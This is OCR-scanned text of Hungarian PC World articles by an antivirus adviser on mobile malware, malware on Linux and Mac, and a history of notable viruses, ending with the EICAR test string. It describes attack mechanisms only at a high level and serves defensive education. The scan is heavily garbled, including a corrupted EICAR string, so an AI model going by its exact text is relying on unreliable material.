sdra is. Kulonféle puffertdlesordu-
las tipusd hibakrél sajnos itt is tobb
{zben olvashattunk mar. Ugyancsak
sokan hasznélnak BlackBerry ké-
szilékeket is. Itt mar egy fokkal ér-
dekesebb a helyzet, hiszen a leve-
lek mellékletében mar engedélye-
zett a DOC, PDF, TXT, WPD, XLS
és PPT kiterjesztésd dllomanyok
haszndlata. Szerencsére a HTML-
alap levelek és weboldalak esetén
a szkriptelés nem engedélyezett,
igy legalabb ezzel a veszélyforras-
sal nem kell szdmolni.

Emlithetjiik még a szintén elter-
jedt iPodot és az Apple nagy-
4gyujat, az iPhone telefont: ezek-
kel kapesolatosan jelenleg szintén
a sériilékenységek (exploit kddok)
kiaknazésa van terjedben. Sokan
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azt josoljak, hogy ezek a UNIX-
alapokon nyugvé rendszerek mar
idén a hackerek célpontjava val-
nak, de ez egyeldre erés talzés-
nak tdnik.

Es végil, de nem utolsgsorban
az Gsszes operdcios rendszer fe-
lett &ll az az eset, amikor egy kar-
tékony program folyamatosan jo-
vahagyést kérg ablakokkal bom-
bdzza szerencsétlen felhaszndlot.
Aki az els6 par alkalommal ta-
lin még dvatos, de a tizedik utdn
mdr tirelmetlentl és lemondéan
csak megnyomja azt a franya igen
gombot.

A kényelmi és automatikus funkcidk
szintén okozhatnak probléma-
kat. Példaul a Nokia E90 telefonja,
amely a Symbian 9 operdcidst rend-
szert futtatja, alaphelyzetben gy
van bedllitva, hogy automatikusan
WLAN-t keres, és arra kiilén kérde-
zés nélkil azonnal csatlakozik is.
Az csak egy dolog, hogy ezzel mond-
juk meriti az akkumuldtort, de bi-
zonyos, hogy lesznek olyan ezt ki-
hasznélhaté exploit kédok, amelyek
segitségével mar manipulalhatokka
vélnak e telefonok. Erdemes lehet
példaul ezt a funkei-
6t kikapesolni.
Amennyiben ké-
nyes adatokat is td-
rolnunk kell, célsze-
rdi valamilyen tit-
kositéprogramot
bevetni: példaul
Symbian alatt a Best
Crypto 3DES-t
(www.smartpho-
neware.com), amely
bizalmas jegyzetein-
ket, a belépési
Manapsag mar
egyaltalan nem
ritkasag, hogy GPS
is legyen a kézi
szamitogépen

© ESET Smart Security

Objektum:
\\VBOXSVR\share\mabile\cabir-a.sil
Kartevo:

SymbQS/Czbir.A féreg
Informaciok:

torléssel megtisztitva - karanténba helyezve

6 csaldsra, pél-
daul a Smishing-
re (val6tlan tartal-
ma SMS-lizenettel
kartékony webol-
dalakra csalogat-
jak a cimzettet)
kell gondolnunk.

© ESET Smart Security
Objektum:
Kartevo:
SymbOS/CommWarrior.A féreg
Informaciok:

\\VBOXSVR\share\mobile\comwara.si1

torléssel megtisztitva - karanténba helyezve

Ha valamiben biz-
tosak lehetiink, az
az, hogy a rossz
fitik egyre Gjabb
prébalkozdsai

a mobileszkozok
frontjan sem ma-
radnak el.

Ha a mobil kartevé éppen egy sima PC-s konyvtarban
talalhato, a virusirté korrektul felismeri

és PIN-kédjainkat tartalmaz6 szo-
vegfdjlt biztosan jobban megvédi,
mint ha sima szévegként tarolnank.
Ennél is rafinaltabb megoldas le-
het még, ha a bizalmas adatok mic-
roSD-kdrtydjat, mondijuk egy ol-
€56 128 megabdjtosat, nem is tart-
juk dlland6an a telefonban, hanem
bérlettokban, pénztarcaban. igy

ha a telefont esetleg el is veszitjik,
vagy ellopjak, az adatok nem kerl-
nek veszélybe automatikusan.

Ausztrdlidhan a mobilok szima
(21,26 millié) mdr meghalad-

ja a lakossdg szamat. Kindban pe-
dig 2007 éta a legnagyobb, China
Mobile nevli mobilszolgéltaténak
tobb tigyfele van, mint az USA tel-
jes, 300 milliés népessége. A nive-
kedés minden orszdgban folyama-
tos, és egy biztos: a mobilokban és
egyéb, online hozzaférést  kityt-
kon” tarolt adatokra és az eldfize-
tett szolgdltatdsokra a jovében foko-
zottan kell majd vigydznunk. Amig
emberek kritikus (hizalmas, értékes,
személyes) adataikat zommel titko-
sitatlanul taroljak ilyen eszkozokén,
addig ezek ellopdsa, elvesztése, il-
letéktelen kezekbe keriilése, illet-
ve az emelt dijas vagy mas médon
torténd, pénziigyi kirt okozd ma-
chindcié veszélye is fenndll. Ha ve-
szélyekrél hallunk, nem okvetlentil
virusként terjedd programokra, ha-
nem a social engineering megté-
veszté madszereit is bevetd csalard
tréjai programokra, hamis szoft-
verfrissitésekre, adathaldsz timada-
sokra, kéretlen reklamprogramok-
ra, kémprogramokra, tovabba egy
sor, csak mobileszkozokon jellem-

KAPCSOLODO WEBOLDALAK

Kalénésen izga-
16 nagysagra fog

A szép reményii Google Android
széles kor elterjedése a jovében
a kartevokésziték figyelmét is
felkeltheti

néni a mézesbodon a csalék szama-
ra azzal, hogy mar hazankban is na-
pirenden van a mobillal valé fize-
tés kiilénféle szolgiltatdsok igénybe-
vételekor, illetve akdr druvdsdrlaskor
is. A parkolécédulatdl a szines tévé-
ig barmit vdsarolhatnak a mi mobi-
lunkkal masok is, ha online elérik.
Szeretnénk?

Kérjiik kedves olvaséinkat, ha a té-
maban kérdésiik, hozzdszdlasuk
van, juttassik el hozzank (vele-
meny@pcworld.hu).
Csizmazia Istvin,
virusvédelmi tandcsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

www.eset.eu
bigyo.blog.hu

antivirus.blog.hu/2008/02/28/trojai_a_keziszamitogepen

www.freewareppc.com
www.symbian.com
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Gondok a Windowson tul

Sarozatunk tizenegyedik epizédjdban annak jartunk utdna, hogy az egyre ndvekvd szamu virusok,
kémprogramok hogyan oszlanak meg a kiilonféle operdcids rendszert hasznéld gépek kizétt. So-
kan nem is szdmitdgépes kértevinek, hanem windowsos kértevének titulaljdk ezeket. Mennyire
megalapozott az a nézet, hogy az alternativ rendszerek sokkal biztonsdgosabbak?

anapsag, ha azt olvassuk,
M hogy 4j virus jelent meg,

mar senki nem kapja fel
a fejét, nem rezzen ssze, és ezzel
egyidejlleg annak az esélye, hogy
az Uj kirtevé a Windows platfor-
mon garazdalkodik, mintegy 99 sza-
zalék. Miért van ez igy? Taldn a vi-
rusirak buta emberek lennének,
akik csak ezt az egy rendszert isme-
rik? Sz6 sincs réla, s6t! Még a leg-
egzotikusabb hardver- vagy szoft-
verplatiormra is el szokott késziilni
elgbb vagy utdbb egy kartevd — de-
manstracios céllal. Bemutatni a vi-
lagnak, hogy ezt is lehet. Gondol-
junk csak a bootvirusokra, a makré-
virusokra, az elsé Flash-kartevdre,

g

Csomagok informacidinak |etéltése
Ellensrzéare ke-ul. hogy a tarolskban varnac ¢ 2j,
cltavo ftott vagy Frisaitett pregramcsomagek

Lessl:asi sebasség: ismerazlan

b +gves “Ajlok Allaporanak mitaasa

‘ Qvégsem ‘

A Linux biztonsagi frissitései a hi-

vatalos letoltési oldalakrél érkez-

nek, megjelenésikre kilén dzenet
figyelmeztet

biijé virusra vagy akdr a PDF-ben
eldforduld explait kddokra — mind-
egyikik egy kordbban szokatlan, dj-
szer(i, de kétségtelentl mikoddké-
pes ditletre éplt. Az ilyen kisérleti
Karteviket —amelyek legelsé meg-
jelenési formajukban sokszor valgja-
ban drtalmatlanok — hivjuk PoC az-
az Proof of Concept kartevéknek.
igy volt ez a Palm OS alapii készilé-
kek hajnalan, és atestek ezen a leg-
biztonsagosabb operacids rendsze-
reknek tartott Linux és Macintosh is.

Mégis mi az, ami miatt az ,ime tes-
sék, ugye, hogy lehetséges” viru-
sok ezek utdn mégsem terjednek

el szélsebesen? Ennek megértésé-
hez egy picit mélyebbre kel pillan-
tanunk. Ha a Linux és a Windows
biztonsagi hibainak észlelése és javi-
tasa kozti idétartamot vizsgaljuk, je-
lentds kiiléinbséget fedezhetink fel.
Szd sincs itt havi egy ,foltozé kedd-
rél”, hanem a nyfl forraskoda ks-
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A virusok szamanak névekedése az AV-Test.org mintainak tiikrében. A 2004 oktéberétél 2008 aprilisaig tarté idé-
szakban a pér ezertél a 650 ezerig jutottunk. A tobbség persze még mindig Windowson fertéz

z6sség azonnal, nemritkdn érakon
beliil kibocsdtja a javitasokat.

Erdteljes kiilonhségek mutatkoz-
nak a jogosultsdgok terén is: Linux/
UNIX alatt a megfeleld felada-
tok elvégzéséhez be kell jelentkez-
ni a rendszergazdai jelszéval, hiszen
alaphelyzetben a felhasznélé nem
rendelkezik ezzel, igy az dkala vég-
zett miveletek — és ezzel az eset
leg fertdzitt, rootkittel vagy tréjaival
médasftott rendszer is — csak a he-
lyi kérnyezetben képesek kart tenni,
magdaban arendszerben nem.

Technikai szempontbél az Internet
Explorer, az Outlook és a kimon-
dottan veszélyes ActiveX-ek is so-
kat rontottak a Windows hiztonségi
helyzetén. Bar a Vista nagymérték-
ben javitott a Windows jogosultsagi
rendszerén, a korabbi Windowsokat
még mindig olyan sokan hasznaljak,
hogy a Vista Gjdonsagai nem befo-
lydsoljak lényegesen a windowsos
kartevék , piacat”.

Az utdbbi iddszak tendencidit
nézve egyértelminek latszik, hogy
a kartékony kédok szinte min-
dig kihasznalhatd biztonsagi rése-
ken keresztlil fertézik meg az dldo-
zatok gépeit. Ha valaki nem ért a
Windowshoz, az dnmagaban még
nem tragédia, de az mér igenis az,
ha probléma esetén nincs kitdl se-
gitséget Kérni (gyerek, rokon, is-
merds, munkahelyi rendszergazda,

szomszéd Pistike sth.). A Windows
hibain talmenden az is gondot
okoz, hogy az illegélis kapidk fris-
sitését akadalyozza a Microsoft.
A frissitésekbél kizart példanyok
hasznilata olyan helyzetet eredmé-
nyez, mintha nem zarnank be laka-
sunk ajtajat: barki és barmi akadaly-
talanul bejéhet és gardzdalkodhat.
Fles ellentétben all a Windows és
a Linux a forraskdd elérhetdségé-
nek szempontjabdl is. A nyilt (open
source) alapokon nyugvé kodba
barki betekinthet, megfeleld szak-
értelem birtokaban akar vakoztat-
hat is rajta, de mindenesetre azon-
nal észreveheti, hogy annak belse-
jében pontosan mi torténik, Ebhél

kévetkezik, hogy Linux alatt nehe-
zebb olyan helyeket talélni a rend-
szerben, ahol egy kartevd nyugod-
tan elbdjhat.

Hasznalat szempontjdbél a Mac-
intosh vilaga és logikaja a Win-
dows-felhasznalénak eleinte fur-
csanak tlinhet, mégis ra lehet kap-
ni az izére, és féként a grafikusok
hasznaljak eldszeretettel mdr hosz-
szUi évek ota, Hala a jol sikeriilt gra-
fikus feliiletnek, még a Macintosh-
felhasznalék egy része sem tudja,
hogy a Mac OS X rendszer is UNIX-
alapokon nyugszik. Bar elsére nem
gondolndnk, a Mac OS X — belsé
mikedését tekintve — kizelebb all a
Linuxhoz, mint a Windowshoz.

Software updates are available for your cumputer, Do you

want 10 install them?

The mew saftware requ res that yeu

T SAT VoL CCmDe” oW,

Insrall and Restan

Mac alatt sem kell minden hénap masodik keddjéig varni a biztonsagi

frissitésekre
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Az emberi megtévesztéssel minden operaciés rendszer, még a Mac 05 X
felhasznaléja is csébe hizhaté. Itt éppen egy kodeknek latszé kémprogram

telepitésé

kévetjik figyel

A kartevik darabszama is izgalmas
kérdés: a Windows platformra ké-
riilbelil 900 ezer és egymillié ki-
linféle kirtevd létezhet. Minden
AV-csapat mas szammal all eld, a
kiilonbségek abbdl adédnak, hogy
a varidnsokat (példaul Netsky A,
B stb.) kiilén szdmoljak-e, de van
olyan cég is, ahol harommilli6 fe-
letti szamra hivatkoznak, ebben ta-
lan mar a tracking cookie-k is ben-
ne lehetnek. Mindenesetre, ha dsz-
szevetjiik a szamot a Linux/Mac
platformon eddig eléfordult kirte-
vék mennyiségével, drasztikus a k-
lénbség. Ami persze amiatt is le-
het, hogy a Windows sokkal elter-
jedtebb, ezért érdemes tamadni,
hiszen nagy a valészin(isége, hogy
elébb vagy utdbb, de inkabb eléhb
valamilyen sebezhetdséget talalnak
rajta, mig a kevesebb asztali gépen
futd alternativ operdcids rendszere-
ket egyeldre nem éri meg tamadni.
Es ebben mar benne van a vélasz
is: amint jelentds dtrendezddés ki-
vetkezik be a Linuxok és Macek ja-
vara, azonnal érdemes lesz a vi-
rusiréknak probalkozni, és bar a
féjlrendszer és a jogosultsagok kiala-
kitasa e helytitt sokkal biztonsigo-
sabb, itt is emelkedni fog a tdmada-
sok szdma.

Biztonsagi szempontbél a Linux na-
gyon j6 valasztas, akdr munkadllo-
masrol beszéliink, akar fajlkiszolga-

l6rél. Hasonléképpen a Macintosh
is UNIX-alapokon allé rendszer. Fel-
épitésébdl adéddan az aperacios
rendszer nagysagrenddel biztonsa-
gosabb, mint példaul a Vista elét-

i Windows-valtozatok (har a Vista
sok djdonsdgot hozott a biztonsag
terén — UAC, Patchguard sth. —

Fail Szetkerctée

A Checkrootkit alkalmazassal nem-
csak rootkiteket kereshetink,
hanem a Linux rendszer kritikus
allomanyainak sértetlenségét is
ellenérizhetjilk

azért még mindig Windows, ami
sokkal jobban tdmadott, mint a Mac
és aLinux). Ennek ellenére telje-
sen a Mac OS sem védett, mar tor-
téntek kisebb-nagyobb prébalkozs-
sok: rootkitek nagy szamban, tréjai
kodekesomagok és mikaddképes
virusok is léteznek korlatozott da-

A levelezészerveren atfuté Uzenetek ellenérzésekor sem kell sckat varni az
elsé virusokra: menetrendszeriien érkezik a Netsky.qQ és a Zlob

an-tiormuna.de

Rootkit tamadasck ellen - jél lathatéan van beléluk jécskan - a Macintosh
gépeken is célszerl védekezni. Képlinkon éppen a RootkitHunter vizsgalja a

rendszer épségét

rabszdmban, és sajnos varhatdan a
fokozatos elterjedése miatt e rend-
szer is egyre inkdbb a kdrtevikészi-
6k latékorébe keril. Nem egyszerd
feladat, de ha egy ilyen rendszeren
egy kartevd rootjogokat tud szerez-
ni, akkor a gép sorsa mdr meg van
pecsételve.

Linux rendszerekre sem lehetetlen
virust fmi, de egy Windows rend-
szerrel sszehasonlitva it [ényege-
sen nehezebb kart tenni a rend-
szerben, inkabb a terjedés latszik
konnyebb feladatnak. Bar elvétve
akadnak linuxos kartevék, a tobbsé-
giik a mar emlitett Proof of Concept
jellegli kodok kizé tartozik. Aki
Linux alatt virusirtét hasznal, az job-
hara csak a windowsos meghajtéja
vagy megosztasai védelmében teszi.

Mivel a végrehajthaté fajlok szer-
kezete lényegesen kiilénbozik Win-
dows és Linux rendszerek alatt, volt,
akit ez motivalt egy érdekes, mind-
két platformon futé virus megird-
sara. A 29A hackercsapat egyik
tagja, Benny készitette el a W32/
Winux nev(i nyilt forrdskédi kar-
tevét: ez képes volt megfertézni
mind az EXE-, mind pedig a Linux
alatti ELF- tipusu futtathatd alloma-
nyokat. Késébb aztin —  koszonhe-
tGen” a nyilt forraskédnak — tébb
ilyen program is napvilagot latott:
Linux.PEEIf.2132, W32 Winux, W32/
Lindose és W32, PEEIf.2132.

Egy masik, a Linux alatt futé Apache
szervereket érint8 kdrtevd a 2002
szeptemberében jelentkezéd Slapper

ctions:

On-Demand Scan

Objects (space separatedy |/

ao oot nazos

Az 4] rootkitek jellemzéi hamar be-
keriilnek a felismerési adatbazisba

volt. Azok a gépek voltak veszély-
ben, amelyeken az OpenSSL tele-
pitve valt, itt a féreg azonnal elkez-
dett terjedni. Fert6zéskor a szer-
verre egy hdtso ajtd (backdoor] is
raker(ilt, amellyel tetszdleges prog-
ramot lehetett fekéleni a komp-
romittalt gépre, illetve azt lefut
tatni. Tovabh stilyasbitotta helyze-
tet, hogy a kartevé lehetdvé tette,
hogy a megfertdzétt gépeket ta-
volrél elosztott haldzati tamada-
sokhoz (DDaS) lehessen felhasz-
nélni. A megoldast itt az OpenSSL
modul hibajavitasinak letéltése, a
webszerver ledllitisa, az OpenSSL
kanyvtar frissitése és a rendszer (j-
rainditdsa jelentette.

2007-ben egy igencsak érdekes kar-
tevd bukkant fel, a Badbunny.A. Ez
az OpenOffice-felhaszndlékat vette
célba: a dokumentumfajlokban pré-
bélt meg terjedni Windows, Linux
és Mac OS opericids rendszerek
alatt egyarant. Tulajdonsagaiban a

Sean|

Linuxen fajlkiszolgalék esetén lehetéségiink van a windowsos gépek altal
hasznalt megosztasck, illetve a rajtuk tarolt fajlok virusellenérzésére. Pél-
dankban a NOD32 keresé linuxos megfeleldjét latjuk
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Incoming file from:

Incoming File Transfer

Name: |atestpics.qz
Kind: gzip compressed archive
Size: 2314.7 MB

Decline Sawve File

e ——

Az OSX/Leap.A 2006 februarjaban bukkant fel, és csak Mac 0S X-en jelent-
kezett. Ha valaki kibontotta a .GZ csomagot, és a latestpics allomanyra

ESET Smart Security

i

Objektum:
E:\eicar\linux\califax.elf

A szamitdgépet veszély fenyegeti.
Riasztas!

yzas:
tast a kovetkezd akalmazis véltotta ki, mikor megprobalk hozzafémi
:\totalemd\ TOTALCMD. EXE.

Torkks | | Khagyds |

kattintott, akkor kezdetét vette a fertézés

férgekre és a makrdvirusokra hason-
litott, és bar nem terjedt el széles
kérben — tihbek kaziitt azért, mivel
az OpenOffice alatt a felhaszndlé-
nak tbbszor is rd kellett volna kat-
tintania, és jové kellett volna hagy-
nia a kartékany miveleteket a fi-
gyelmeztetd ablakban —, azért ez a
koncepcidvirus Ujszeriségével még-
is letett valamit az asztalra: elmond-
hatd, hogy létezett egy, gyakorlati-
lag terjedésre képtelen, makrdvirus
OpenOfiice-ra,

2006. november elején jelent
meg a OSX.Macarena nevi kar-
tevd, lgazi mintadarab: bintetd-
rutint nem is tartalmazott, forras-
kodja pedig a mai napig szabadon
Kering az interneten. Az operdci-
6s rendszer hinaris Mach-O illo-
méanyat vette célba, és mind szer-
ver-, mind pedig kliensgépen mi-
kodéképes. Inkibb zavarba ejté
jelenség volt, semmint ijesztd, és
a Mac platformra késziilt virusok
szama azota is mindissze 50-60
lehet. Emiatt pedig itt nem igazan
van sziikség virusirtdra, legalabb-

=5

il forkstatis

is a felhasznalék tobbségének esze
agaban sincs telepitenie ilyet je-
lenleg.

Minden jelentds antivirusgyarté for-
galmaz virusvédelmi csomagokat
Linuxra, igaz, itt elsdsorban fajlki-
szolgilé (szerver), illetve levélkiszal-
gald (mail gateway) gépek védelmé-
re kell gondolni. Elvétve talalni mar
Linux-munkaallomdasra (desktop)
szant virusirtdkat is, ezek azonban
(egyeldre?) még inkabb kiilsnleges-
ségnek szamitanak, semmint sziik-
séges felszerelésnek.

A biztonsig rések lezarasa, a rend-
szeres biztonsagi frissitések végre-
hajtasa minden rendszeren a le-
hetd leghatékonyabb médszer a
védekezéshez. Emellett segit a
RootkitHunter és Checkrootkit
program is — mindkét alkalmazds a
GPL-licenc ala tartozik —, ezek mind
a Linux, mind pedig a Mac plat-
formra elérhetsk. Segitségiikkel az
esetleg telepiilt rootkiteket keres-
hetjiik meg, illetve a rendszer sér-
tetlenségét vizsgalhatjuk MD5- és

lest Results Wiewer — L >

Results i i Path
© 2008-06-10, 10:26
© 2008-05-15, 22:18

@ 2008-05-15, 22:15

Test statistics

Scanned files:

Infected files:

Result

Jmediafc_70gb/eicar Virus identified EICAR_Test

Tue Jun 10 10;26:33 2008
1

Scanned sectors: 0

i

Infected sectors: 0
Objects viewed:

1/1

| Edciose |

A Linux alatti viruskeresékkel a Wind

vizs-

particiékat vagy mapj

galhatjuk, illetve a levelekhez csatolt virusokat kereshetjuk. Itt éppen az
Eicar nevii tesztvirus akadt fent a horgon
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Mindegy, hogy Symbian, Linux vagy Macintosh alatti kartevéallomany, Win-
dows alatt az ESET Smart Security azennal riaszt ra

SHAT- ellendrzésekkel kombinalva.
Ha példaul valamilyen nem hivata-
los helyrdl tékiink le olyan progra-
mot, amely manipulalt tréjai prog-
ramokra cserélné le parancsainkat,
szkriptjeinket, akkor ezzel azon-
nal észrevehetjiik az illegilis modo-
sitdsolat.

Osszegzésképpen elmondhatd: a
Mac és a Linux platform helyzete
epyeldre sokkal kedvezdbb, az
ezekre megjelend virusok mennyi-
sége gyakorlatilag elenyészd. Sokan
hiszik azt, hogy ezek a rendszerek
eleve sebezhetetlenek, de ez igy
nem igaz; emlékezziink csak vissza,
hogy megjelenésekor a Windows
NT-t is virusmentes platformnak ki-
altottak ki, és mi minden @rént a
késdbbiekben.

Az alternativ kérnyezetekben -
ként roatkites tamadasok fordul-
hatnak eld, de elleniik léteznek
litéképes megoldasok, és ezek-
re érdemes is kiemelten odafigyel-
ni, hogy a sajét géplink valéban ,a
miénk is maradjon”, A legnagyabb
veszélyt az ismeretlen forrashdl le-
toltdtt és telepitett programok je-
lenthetik. Antivirusszoftver fut-
tatasa munkaallomason egyelére
sziikségtelennek tdnik, kizardlag a
windowsos gépekhez Kapcsolddd
Samba- vagy NFS-megosztasokkal
ellatott fajlkiszolgaldk, illetve le-
vélszlrést végzd levelezdatja-
rék védelme indokolt. A helyzet

KAPCSOLODO WEBOLDALAK

Erdekes médon nem minden virus-
keresé motor ismeri fel anem is
olyan friss maces kartevét

természetesen az idé maldsaval
és az egyéb, nem Windows-alap
operacids rendszerek elterjedtsé-
gi aranyanak valtozasaval az itt le-
irtakhoz képest valtozhat, st ezek
témegesebb elterjedésével hizto-
san valtozni is fog.

Kérjiik kedves olvaséinkat, ha
a témahan kérdésik, hozzasza-
lasuk van, juttassak el hozzank
{velemeny@peworld.hu).
Csizmazia Istvin,
virusvédelmi tanicsadé
Sicontact Kft., a NOD232 antivirus
magyarorszagi képviselete
antivirus.blog.hu

ESET: wwwieset.eu

OS5 X Raotkit Hunter: wwwichristian-hornung.de

Opener fereg tudnivalok: www.macintouch.combpenerhtml

Az alualis szabad forrast operdcios rendszerek gytijteménye: distrowatch.com

SourceForge net, a vilag egyik leghagyobb szabadforrast alkalmazas-lel5helye:

www.sf.net
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Panoptikum

Sorozatunk tizenkettedik epizédjaban
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A cikk képei megtalalhatok a lemezmel-
lékleten

az IBM PC viruskorszak j6 hisz esztendejének termésé-

b6l valogattunk. Szerepel ebben a jé, a rossz, a csuf, a triikkos, a szép, az elképesztéen gyors,
a valtsagdijat szedd, a becsapos és még hosszan lehetne sorolni. Jojjenek hat a legérdekesebb,
legrafinaltabb és legfurcsabb kartevok.

7 els szamitogépvirusok
még a 80-as években jelen-
tek meg. Eleinte még az 5,25

hiivelykes flopilemezeinken igye-
keztek terjedni, késbb aztan min-
den platformot és teriiletet megpro-
béltak meghoditani, legaldbb egy
koncepcié kirtevé erejéig — siker-
rel. Jartak a rendszerinditast végzé
Master Boot Rekordban, Office do-
kumentumok makr6 utasitasai ko-
z6tt, PDF alloményokban, web-
oldalak kédjéban és e-mail (ize-
netek csatolmanyaiban, s6t djabb
tamadasokndl mdr a vezeték nélkiili
routerek is veszélyben lehetnek.

A 64 User (jsag egyszer egyik sza-
maban azt irta, hogy a Commodore
64-es gépre szerencsére lehetetlen
virust imi. Tobb se kellett, egyik
este a mailboxukba érkezett a BHP
virus a Bayerische Hacker Post szer-
vezettSl. A Program RUN futtatés-
kor az elinditott program helyett

a ,Fatal error in 1986 szoveget irta
ki és a LIST paranccsal valo listazds
eredményét is modositotta. A vi-
rus egyik lemezrél a mésikra tudott
terjedni, mdr ezen a platformon is.
A kod alaposabb vizsgalatakor lat-
szott, hogy azt igazi profik készitet-
ték. A fertézés mind a LOAD, mind
a SAVE paranccsal képes volt ter-
jedni, és ,természetesen” a Reset és
RUN/STOP+RESTORE kombinaciok
sem dllitottdk le.

Cb4-re volt egy , lizleti” virus is. Ez
a flopimeghajto iré-olvaso fejét ki-
vitte egy olyan sévra, ahonnan csak
a szervizes szakember tudta vissza-

IE®|-INTERROGATE
ERI-EXTERMINATE

hizni a |1E\yére, természetesen nem
ingyen. A legendak szerint magyar
taldlmany volt, és a kor leghiresebb
budapesti Commodore szervize volt
a szilletési helye.

Az egyik legelsS, IBM PC-re irt vi-
rus a Brain volt, amelyet egy pa-
kisztdni testvérpdr készitett. Orvo-
si szoftverek iréjaként céljuk a gat-
l&stalan flopis programcserebere,
koztiik a sajét programjaik illegalis
terjesztésének megbiintetése volt.
A Brain virus rezidens volt, azaz
egy dllanddan a tdrban marado
résszel is rendelkezett, és a flopik
boot szektorat fertézte. Mivel a
megszakitasvektorokat 6nmagé-
ra irdnyitotta, egy lemezeditorral
végzett bootszektor-vizsgalatot is
képes volt atverni: ilyenkor tritk-
kosen az eredeti, elmentett részt
jelenitette meg: ,tartotta a tab-
lat”, Késébbi véltozatai aztdn mar
a merevlemezt is képesek voltak
fertézni.

Az Gsinternet legjelentGsebb tama-
dasdnak torténete Robert T. Morris
nevéhez f(iz6dik, az incidens na-
pokra lebénitotta az akkor legin-
kabb csak az Egyesiilt Allamokra
korlatozodd ,vildghalét”. A Morris-
féreg tobbfajta rést is kihasznalt,
amelyek ugyan régota ismertek vol-
tak, de azt akkor még senki nem
gondolta volna, hogy éppen ezek
révén torténhet majd egy (j fert6-
26s. A finger, sendmail, valamint
rsh utasitasokat hasznalta ki és azt,

VIRUS OPTIONS

&2 |-DISPLAY
IE¥-DIRECTORY

1ER|-QUIT

Nemcsak virusok, de virusirték is léteztek mar Commodore 64-re.
Képiinkén a BHP killer beallitasi paneljét latjuk
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A pakisztani Brain virus a boot rekordot fertozte, felilirta, az eredeti
adatokat pedig elmentette. A program készitéi az illegalis program-

masolast akartak vele biintetni

PEEDIDLAO0MWNY

Pillantas a CIH egyik verzioja
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k binaris kodjaba: tobb valtozatban

is rank szabaditottak ’

hogy a halézatban szerepld gépek
dont6 tobbségén szerepelnek ezek
a programok, illetve hogy a gépek
meghiznak egyméshan. Egy prog-
ramozési hiba lehetdvé tette, hogy
a féreg puffertilcsorduldsos tdma-
dast hajtson végre, amelynek alkal-
mazésa utan tetszéleges programot,
illetve parancsot végre tudjon haj-
tatni a kompromittalt szamit6gé-
pen. Tovabbi érdekesség volt, hogy
egy tobb szdz szavas szotart is tar-
talmazott a féreg, amely arra szol-
gélt, hogy ha a biztonséagi résen ke-
resztiil mégsem sikerilne bejutnia,
(gy a felhaszndlonév-jelszo pa-

ros ellen intézhessen tdmadast. Si-
keres bejutds esetén aztdn lefordi-
totta sajét forrdskodjét — rendszer-
gazdai jogokkal ezt megtehette —,
és ezzel a rendszerek kozti inkom-

patibilitasi gondoknak is elejét vet-
te. A Morris-worm megjelenése ko-
moly tanulsag volt az akkoriban a
gépeiket még meglehetdsen bizton-

A Robert Tappan Morrisrél elne-
vezett féreg a mar régota ismert,
de be nem foltozott biztonsagi
lyukakra épitett
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A hardvert is karositani tudta: a CIH képes volt jol megizzasztani az aldoza-
tot, a BIOS-PROM felalirasaval bi , miikodésképtel é téve a gépet

& habies dip dyed tiouser
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sagban tudo rendszergazdaknak, és
nemcsak a megfelelGen erds jelszo
valasztasdra, hanem a biztonsagi hi-
bék nem halogatott, azonnali kijavi-
tdséra is serkentett.

biatiies dip dyed touser

Hil How are you?
A Yankee Doodle a .com és a .exe
allomanyokat fertézte meg felil-
irdssal és nevéhez hiven délutén
17:00-kor eljtszotta a Yankee
Doodle amerikai népdalt a szami- :
t6gép belsé hangszéréjan — mint- m
ha csak a munkaidé végét jelzé
kiirtsz6t hallanank. Memoriarezi-
densen ratelepedett a 21-es meg-
szakitdsra (DOS-megszakitds ke-
zel6), és elmentette annak kezde-
ti értékét. Ezzel a trilkkel 4t tudta
verni az akkori rezidens viruskere-
soket és képes volt elrejtézni eld-
liik. Tobb mint negyven étirata ko-
26t volt olyan véltozat is, amelyik
a Novell NetWare bejelentkezd jel-
szavat lopta el.

send you this file in order to have your advce

See you later Thanks

A Sircam alapos fejfajast okozott:
éll Gen kivalasztott egy
dokumentumot a fert6z6tt géprol

és szétkildte a nagyvilagba

leg mentesitették, akkor a kovet-
kez§ pillanatban visszairta magat.

A helyes megoldas ilyenkor az volt,
hogy a viruskeresé elészér a memé-
riaban lévd komponenst torolje, és
csak utana mentesitsen a lemezen.
A cikkiro akkori munkahelyén, egy
sok szdz gépes halozati kornyezet-
ben jo par érét eltoltott azzal, hogy
megszabaduljon a virustol.

A virus eredetileg drtalmatlannak
késziilt, de egy programozasi hiba
folytan jelentds adatvesztéseket tu-
dott okozni. Nevét a terjedésekor
kiirt vicces tizenetrdl kapta: ,Your
computer is now stoned.” A virus-
kodban emellett egy, a marihudna

A Stoned rezidens lopakod® virus
volt, amely a flopik boot szektordt
és a merevlemez particios tabldjat
fertézte meg. Egyik flopirél a mésik-
ra terjedt. A rezidens rész figyelte,
hogy a virus ott van-e még a boot-
ban, és ha gy latta, hogy eset-
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Name N | Size | Type

] Lacale.rls k. 172KB  NLS File

#] Loggervad 1B Vitual device driver

£]LOVE-LETTER-FOROUHTH 16KB  Miciosoft HTML Doc.
3 LOVE-LETTER FORYOU 8 11KE VBScipt Scipt File

8] Lptwsd KB

m] Lptenum vxd 17KB

4

Virtual device driver
Virlual device driver

1 chject(s] selzcted 1|5 My Computer

2000-ben még féleg e-mail mellékletekben terjedtek a férgek, itt a hires
Loveletter egy példanya

Az EICAR tesztfdjl (hivata-
los nevén EICAR Standard
Anti-Virus Test File) olyan
fajl, amelyet a CARO (Com-
puter Antivirus Research
Organisation) szakemberei fej-
lesztettek ki azzal a céllal, hogy
biztonsdgos médon teszteljék az
antivirusprogramokat. A lényeg,
hogy ez egy teljesen drtalmatlan
és minddssze 68 (extra CR + LF
sorvég karakterekkel egytitt 70)
béjtos .com kiterjesztést fajl. A
tesztdlloméany szabvényos ASCII
karakterekbél 4ll, és talalat ese-
tén az EICAR-STANDARD-
ANTIVIRUS-TEST-FILE! (izene-
tet kell, hogy kapjuk. Megijedni

v NN YN Y YN

A Virusok Varazslatos Vilaga &+ P

egyéltaldn nem kell, hiszen ez
csak teszt, és persze terjedni sem
terjed. Az allomanyt mi magunk
is létrehozhatjuk, de a www.
eicar.com weboldalrél akér le

is tolthetjiik azt. A tesztfjlnak
ezt a szoveget kell pontosan tar-
talmaznia: X50!P%@AP[4\
PZX54(P~)7CC)7}$EICAR-
STANDARD-ANTIVIRUS-
TEST-FILE!$H+H*

Ha ezt a szoveget beirjuk egy
szovegfajlba, a végeén (itiink egy
